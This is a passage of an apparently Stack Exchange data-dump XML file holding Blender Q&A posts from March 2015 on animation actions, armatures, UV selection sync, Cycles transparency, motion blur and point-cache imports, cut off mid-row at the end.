  <row Id="27283" PostTypeId="2" ParentId="27282" CreationDate="2015-03-18T02:58:30.343" Score="2" Body="&lt;p&gt;That small squiggle arrow is indicating that the object has an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;action&lt;/a&gt;. Meaning that the object is animated.&lt;br&gt;&#xA;If you click on the plus button and open up the hierarchy you will see that it is an animation.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i1PNz.png&quot; alt=&quot;outliner&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-18T02:58:30.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27285" PostTypeId="2" ParentId="27282" CreationDate="2015-03-18T03:01:54.217" Score="0" Body="&lt;p&gt;Ok to get rid of these icons (which indicate an action), right click it and pick &quot;UNLINK ACTION&quot;. Either before this or after open the ANIMATION VIEW -&gt; CLICK the Object and then delete the action from the animation layer too.&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-18T03:01:54.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27286" PostTypeId="1" CreationDate="2015-03-18T03:04:14.560" Score="0" ViewCount="126" Body="&lt;p&gt;Sometimes when i move objects around the attached bones displace the objects. Why does this happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it correct to assume that bones should NOT overlap with a model poly? Would this prevent object displacements upon object move?&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-18T05:52:59.433" Title="Why do my bones displace model objects?" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27287" PostTypeId="1" CreationDate="2015-03-18T03:13:34.340" Score="0" ViewCount="743" Body="&lt;p&gt;I have a sword and then a slash effect thing that trails behind it. The effect thing looks like &lt;a href=&quot;http://images.gameskinny.com/gameskinny/26c1ccf19754bee8bfa188f9683e5c34.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. I'm using the animation data tab in the NLA editor to create different animations for the sword such as holding, swinging left, swinging down, etc. I want the slash effect thing to not be there unless the sword is actually being swung, and like get bigger until the slash finishes and then shrink back to nothing. The problem is, when I insert keyframes for the effect thing, which is a separate object from the sword, they apply to all animations, so the effect thing will be in the same place whether the sword is being held or swung. Is there a way to associate the keyframes of the sword effect with the actual sword?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/a/0UpcF&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pictures of problem.&lt;/a&gt; If I could just get the keys for plane.001 and cube to be  seperate from each other, I would be fine.&lt;/p&gt;&#xA;" OwnerUserId="13228" LastEditorUserId="13228" LastEditDate="2015-03-19T03:05:40.213" LastActivityDate="2015-03-19T14:24:23.310" Title="How to make animations for two objects?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27289" PostTypeId="2" ParentId="27007" CreationDate="2015-03-18T03:37:39.097" Score="3" Body="&lt;p&gt;Using only colored effect strips and a track of music, I rendered 240 frames resulting in the following export times:&#xA;H264 = 16 secs&#xA;MP4  = 14 secs&#xA;xvid = 13 secs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tests only the encoding engine. I would also suggest checking the dimensions of the media you are editing with. Any scaling (which the VSE will do automatically) impacts on render time. Try to make this 1:1 with the scene dimensions. Further to the issue of scaling you may want to alter the AntiAliasing value in the scene properties as well. Default is 8 samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, in User Prefs, increase the 'sequencer cache' value to maximise your memory usage. And check that you are using the Sound Output Device SDL, in the same panel.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-03-18T03:37:39.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27291" PostTypeId="2" ParentId="27191" CreationDate="2015-03-18T04:10:22.130" Score="2" Body="&lt;p&gt;Well, after another full day of searching, it looks like Blender 3D is not the correct tool for the job. I have seen some evidence that AutoCAD can open some designs originating from Blender 3D but nothing with as complex a form/mesh as I am hoping to create, thanks for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF anyone else is looking to export to AutoCAD from Blender 3D a good place to start is - &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?136439-DWG-DXF-exporter-release-%282-49%29/page5%29&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?136439-DWG-DXF-exporter-release-%282-49%29/page5%29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.4/Py/Scripts/Export/DXF&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.4/Py/Scripts/Export/DXF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find the required details for the software extension on the second of the two links above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend speaking with an AutoCAD specialist (the most cost effective way is usually to work with the operatives at your tool cutters). Hopefully this thread can help someone else in future. &lt;/p&gt;&#xA;" OwnerUserId="13187" LastEditorUserId="13187" LastEditDate="2015-03-18T04:35:21.647" LastActivityDate="2015-03-18T04:35:21.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27292" PostTypeId="1" CreationDate="2015-03-18T04:11:18.463" Score="2" ViewCount="861" Body="&lt;p&gt;In the &lt;a href=&quot;https://blender.stackexchange.com/questions/2030/fake-reflections-in-cycles&quot;&gt;Fake reflections in Cycles&lt;/a&gt; question, there is an example of a simple shader set up. I tried it, the image is displayed in my Preview (Blender 2.73a). The rendered object shows reflection but no image. Why is my image not showing in the new version of Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan Williamson has an example of how to do this on cgcookie (&lt;a href=&quot;http://cgcookie.com/archive/tip-faking-reflections/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgcookie.com/archive/tip-faking-reflections/&lt;/a&gt;), but it's dated 2010 so the Blender version is different - using Blender Render, not Cycles.&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-11-22T21:16:59.257" Title="Fake reflections in Cycles, redux" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27295" PostTypeId="2" ParentId="27286" CreationDate="2015-03-18T05:52:59.433" Score="1" Body="&lt;p&gt;While an armature has not been adjusted in pose mode the object it deforms can be moved without being deformed. Once an armature has been moved in pose mode and the object is moved in object mode without the armature some weird deformation can happen. This is caused by the way the armature and object are linked together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an object and armature have been linked, they need to move together as one. Normally the armature will be the parent of the object and should be moved in object or pose mode to relocate the object.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-18T05:52:59.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27296" PostTypeId="1" AcceptedAnswerId="27299" CreationDate="2015-03-18T05:57:54.490" Score="3" ViewCount="500" Body="&lt;blockquote&gt;&#xA;&lt;h3&gt;Before I begin&lt;/h3&gt;&#xA;&lt;p&gt;Let me state my end goal here before I continue, in case the method&#xA;I'm using isn't the best way: I'm trying to make text appear and&#xA;disappear in an animation. What I'm doing now is animating a mix&#xA;shader with a transparent node and a diffuse node. If this is the&#xA;wrong way, please correct me.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Please ignore this part. Workaround found. However, my question still stands.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have a text object in my scene that I'm trying to switch between transparent and opaque. However, instead of getting transparent text, I'm getting a grey colored text.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ROxun.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've tried the method on other objects, and it works there, but not on the text.&lt;/p&gt;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0Bzl8ZZsYnq_XWGJFb1NsVjVyUEE/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download link for the .blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-18T08:23:02.630" Title="Transparent Text In Cycles Not Working" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27297" PostTypeId="2" ParentId="27276" CreationDate="2015-03-18T06:17:56.437" Score="1" Body="&lt;p&gt;As both items refer to the property &lt;code&gt;my_string_prop&lt;/code&gt; they will show the same data. The name of the property used has to exist, if you change the name and it doesn't exist it will not draw the textbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add new properties to the scene object you should add the property in your register function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.my_string_prop2 = bpy.props.StringProperty(name=&quot;String2&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a list of items you can use &lt;code&gt;prop_search&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop_search(context.scene, &quot;my_string_prop2&quot;, bpy.data, &quot;objects&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will show a list of object names to choose from.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-18T06:17:56.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27298" PostTypeId="1" AcceptedAnswerId="27300" CreationDate="2015-03-18T06:25:21.500" Score="4" ViewCount="9791" Body="&lt;p&gt;When I try to select an island in a uv map it says &quot;Cannot select linked when sync selection is enabled&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have to disable it with this button:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vC4hP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is not here:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Jxn6t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where is it?&lt;/p&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="599" LastEditDate="2015-03-18T06:36:30.780" LastActivityDate="2020-03-20T21:13:37.783" Title="Where is the &quot;sync selection&quot; option?" Tags="&lt;texturing&gt;&lt;interface&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27299" PostTypeId="2" ParentId="27296" CreationDate="2015-03-18T06:32:46.083" Score="3" Body="&lt;p&gt;This is because the text is in the same place as the background plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Move the text a little above the plane so they don't intersect and interfere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has no way of knowing if the text should be on top (and invisible) or if the background plane should be on top (obscuring the text). Even though either scenario comes to the same result in this particular case, such an undefined situation is liable to cause undefined behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is some cycles form of &lt;a href=&quot;https://blender.stackexchange.com/q/5441/599&quot;&gt;z-fighting&lt;/a&gt; (the classic z-fighting artifacts only seem to appear when in ortho view and from some angles). If you put an object behind the plane and text, the issue becomes clearer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ysfmN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-03-18T08:23:02.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27300" PostTypeId="2" ParentId="27298" CreationDate="2015-03-18T06:36:19.613" Score="5" Body="&lt;p&gt;Your second screenshot is of the header in the 3D view, but the setting you are looking for is in the header of the &lt;em&gt;UV/Image editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXnLW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-18T06:36:19.613" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="27301" PostTypeId="1" AcceptedAnswerId="27327" CreationDate="2015-03-18T06:54:45.663" Score="5" ViewCount="2151" Body="&lt;p&gt;I have a model and I selected an island from my UV map with &lt;kbd&gt;L&lt;/kbd&gt;, but those vertices didn't get selected on the mesh. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to quickly select UV islands on the mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fuva9.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is a follow-up question to &lt;a href=&quot;https://blender.stackexchange.com/q/27298/599&quot;&gt;Where is the &amp;quot;sync selection&amp;quot; option?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-18T23:20:14.410" Title="Why doesn't selecting a UV island select the corresponding vertices in the model?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27302" PostTypeId="1" CreationDate="2015-03-18T07:01:46.787" Score="2" ViewCount="2141" Body="&lt;p&gt;I encountered difficulties importing a model with two textured materials from sketchup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SketchUp image with a brick and timber texture from JPEG maps.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i3Hs7.jpg&quot; alt=&quot;sketchup image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender recognizes my two materials as different 'UV maps' on the dropdown menu. Online tutorials recommend deleting the second UV map (ID19) and replacing it with a LightMap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LJyqY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LJyqY.jpg&quot; alt=&quot;Blender Picture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after exporting my .fbx file and opening it in UE4, my second material disappears (brick texture disappears (color is there though!) but timber texture remains)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/70dtj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/70dtj.jpg&quot; alt=&quot;UE4 Picture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone shed some light on how I can get the brick layer to come up? I am able to export with one single material on but not with two different materials on a model. I assume it is not to do with scale as the timber is scaled to the exact as the SU image.&lt;/p&gt;&#xA;" OwnerUserId="13231" LastEditorUserId="2607" LastEditDate="2015-07-02T18:05:01.370" LastActivityDate="2017-12-03T18:18:50.670" Title="Export model with multiple textures to Unreal Engine 4" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;export&gt;&lt;import&gt;&lt;unreal-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27303" PostTypeId="2" ParentId="27266" CreationDate="2015-03-18T07:09:19.350" Score="2" Body="&lt;p&gt;Using curve objects in blender you can set the size of the extruded shell that follows the curve and also adjust it along the path as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to turn a curve into a tube. For a quick circular bevel, just set the bevel depth and resolution for the curve, you will also want the fill to be set to full. The other way is to use another curve object to define the outer shape of the bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e230W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bevel depth is radius in blender units of the extrusion. If you use a bevel object then the size of the object used will determine the size of the extrusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each point on a curve has a Radius property. At 1.0 the extrusion will match the bevel size set at that point. Other values will reduce or increase the size, so a point having a radius of 0.25 will be 1/4 the size of the main &quot;pipe&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the radius property in the properties sidebar &lt;kbd&gt;T&lt;/kbd&gt; under Transform while editing a curve. You can also use &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to change the size interactively. A linear falloff is used between each points radius.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YXfJ3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once you set the main size in the bevel size, to adjust the size of specific points you will need to do a little calculation which can be done while entering the value to use. For example if you have the main bevel set to 0.95 and want 0.75 at a given point, in the radius enter &lt;code&gt;.75/.95&lt;/code&gt; and it will calculate the radius of &lt;code&gt;.789&lt;/code&gt; that you want.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-18T07:09:19.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27304" PostTypeId="2" ParentId="27252" CreationDate="2015-03-18T07:21:06.860" Score="1" Body="&lt;p&gt;Any movement done in pose mode will also be shown in object mode, any keyframed movement will change this position as you change the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option you have is to clear any pose mode changes made. While in pose mode press &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; and &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to clear the location, rotation and scale of the selected bones, putting the armature back into the rest position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to set the current position as the rest position by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and choosing &quot;Apply pose as Rest Pose&quot;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-18T07:21:06.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27305" PostTypeId="2" ParentId="27260" CreationDate="2015-03-18T07:41:06.077" Score="2" Body="&lt;p&gt;Instead of using hooks you can create a &quot;corrective&quot; shapekey. Usually this is easier if the armature modifier is enabled in edit cage mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/72yFw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a bad deformation pose, create a new shapekey, edit the mesh so that the shapekey makes it look good. Once you have the shapekey setup you can either drive the shapekey with a bone position/rotation or you can keyframe it to fix on a specific frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=f3JWNIkwBZ8&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tutorial&lt;/a&gt; shows an example with a driver setup. You may also find the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/Corrective_Shape_Key&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add Corrective Shapekey addon&lt;/a&gt; of interest.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-18T07:41:06.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27306" PostTypeId="2" ParentId="27279" CreationDate="2015-03-18T08:49:13.240" Score="9" Body="&lt;p&gt;This can happen when fast moving objects result in a large difference between consecutive frames.&lt;/p&gt;&#xA;&lt;p&gt;For reference, here's what my test scene looks like at 24 fps without any motion blur:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/UnimportantMiniatureBanteng&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/UnimportantMiniatureBanteng.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To fix this, you have a couple options:&lt;/p&gt;&#xA;&lt;h2&gt;Increase the framerate&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/22870/599&quot;&gt;Increase the framerate&lt;/a&gt;, adding more frames while keeping the same run time.&lt;/p&gt;&#xA;&lt;p&gt;AFAIK youtube will play high framerate videos at a reduced framerate at lower user-set quality levels, so this may not be an ideal solution for youtube (the results may not be the same for all youtube quality settings).&lt;/p&gt;&#xA;&lt;p&gt;Here's the same scene at 60fps (click the gif to see a better version):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/ReliableConcreteGorilla&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/ReliableConcreteGorilla.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Add some motion blur&lt;/h2&gt;&#xA;&lt;p&gt;Add some motion blur to smooth the transition between frames&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;http://blender.org/manual/contents.html&quot; rel=&quot;noreferrer&quot;&gt;the manual&lt;/a&gt; for details on how to use motion blur &lt;a href=&quot;http://blender.org/manual/render/blender_render/motion_blur.html&quot; rel=&quot;noreferrer&quot;&gt;in blender internal&lt;/a&gt; and &lt;a href=&quot;http://blender.org/manual/render/cycles/settings/integrator.html#motion-blur&quot; rel=&quot;noreferrer&quot;&gt;in cycles&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/FrankWildJenny&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/FrankWildJenny.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Or both&lt;/h2&gt;&#xA;&lt;p&gt;Of course, you can do both at once too ;)&lt;br /&gt;&#xA;&lt;sub&gt;Again, click the gif to see it in a video format..&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/DigitalAlarmingArgusfish&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/DigitalAlarmingArgusfish.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Unfortunately gifs make terrible examples when showing framerate settings and SE doesn't support embedding of other formats. Click on any of the gifs to see it in a video format.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-18T08:49:13.240" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="27307" PostTypeId="1" CreationDate="2015-03-18T09:00:40.043" Score="0" ViewCount="29" Body="&lt;p&gt;On subsurface I'm getting unexpected result like on &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5s2mY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I would like to receive result with smooth surface (not collapsed faces)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be wrong in my model ?&lt;/p&gt;&#xA;" OwnerUserId="13233" LastEditorDisplayName="user1853" LastEditDate="2015-03-18T15:23:24.090" LastActivityDate="2015-03-18T15:23:24.090" Title="Collapsed faces on subsurface" Tags="&lt;modeling&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-03-19T00:40:31.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="27308" PostTypeId="1" AcceptedAnswerId="27324" CreationDate="2015-03-18T09:22:36.960" Score="7" ViewCount="1088" Body="&lt;p&gt;Is there a way to connect a low poly object with a high poly object linked from another blend file, that is only interchanged on rendering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;In the viewport I have my low_cube.001. It is connected somehow to high_cube.001 in the high_cube.blend. In the viewport there will always be low_cube.001. On rendering the scene with Cycles, there should be high_cube.001 only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an &quot;artists&quot; way?&#xA;If not, is there a way I can interchange objects with Python, somehow transfer the high poly object into the render engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Regarding Python, I don't need a finished piece of code completely worked out, just some directions or ideas would be great alreay!&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-03-18T18:06:47.143" LastActivityDate="2015-12-26T19:16:10.343" Title="Low poly to high poly instancing" Tags="&lt;python&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27309" PostTypeId="2" ParentId="27301" CreationDate="2015-03-18T09:28:32.627" Score="2" Body="&lt;p&gt;By default, only the vertices you select on your mesh, in Edit mode, will be visible in the UV editor, and what you select in UV editor has no effect on the mesh selection;&#xA;however, if you enable the &lt;strong&gt;Selection sync&lt;/strong&gt;, found in the &lt;strong&gt;UV editor&lt;/strong&gt;'s header, you can select vertices in either editor and have the selection sync in the other one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Funzz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="3078" LastEditDate="2015-03-18T19:09:00.740" LastActivityDate="2015-03-18T19:09:00.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27310" PostTypeId="2" ParentId="27308" CreationDate="2015-03-18T09:50:28.847" Score="1" Body="&lt;p&gt;one way is to switch the data block this will link : V groups, V color, material, UV maps ..; but it will reserve the modifiers, constraints Loc,Rot,Scale and animation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qL3gt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-18T09:50:28.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27311" PostTypeId="2" ParentId="27210" CreationDate="2015-03-18T10:04:30.403" Score="1" Body="&lt;p&gt;In Edit mode you will see and edit the active shape Key only , but when you switch to Object mode you will see a mix between shape keys depending on the value of each shape :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ob3Xu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-18T10:04:30.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27312" PostTypeId="1" CreationDate="2015-03-18T10:44:38.480" Score="4" ViewCount="5244" Body="&lt;p&gt;Is it possible to encode video with VP9 and make webM videos? If so, how? The help doesn't include either in the list of formats/codecs.&lt;/p&gt;&#xA;" OwnerUserId="13234" LastActivityDate="2019-08-23T14:45:08.243" Title="Video encoding (renderer): VP9, webM" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27314" PostTypeId="2" ParentId="5040" CreationDate="2015-03-18T11:21:07.357" Score="0" Body="&lt;p&gt;I solved this via conversion to PC2 and using the PointCache modifier. BUT, this method only works if you have the same number of vertices and faces throughout your entire simulation. if so, suggest:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;write a script to convert your obj (vertex data) to a pointcache file. Have a look at the python script in Blender io_export_pc2.py, this will give you the pc2 binary file format. &lt;/li&gt;&#xA;&lt;li&gt;create a basis or reference mesh - build this from the first .obj mesh in your sequence. From what I could figure out, the pc2 file holds vertex information only, and assumes the topology in the basis mesh does not change. hence the need for this step&lt;/li&gt;&#xA;&lt;li&gt;apply the pointcache modifier to the basis mesh, pointing at your .pc2 file&lt;/li&gt;&#xA;&lt;li&gt;adjust the pointcache modifier settings. I used custom, setting the time/frames to align with the an integer multiple of the number of meshes/timesteps. I assigned 50 outputs meshes to stretch over 200 frames, and Blender interpolated the point locations in between&lt;/li&gt;&#xA;&lt;li&gt;assign keyframes - keyframe the first and last time reference in the pointcache modifier&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;thusly, during animation the vertex locations should move in accordance with the pointcache data.  Good Luck&lt;/p&gt;&#xA;" OwnerUserId="13159" LastActivityDate="2015-03-18T11:21:07.357" CommentCount="0" 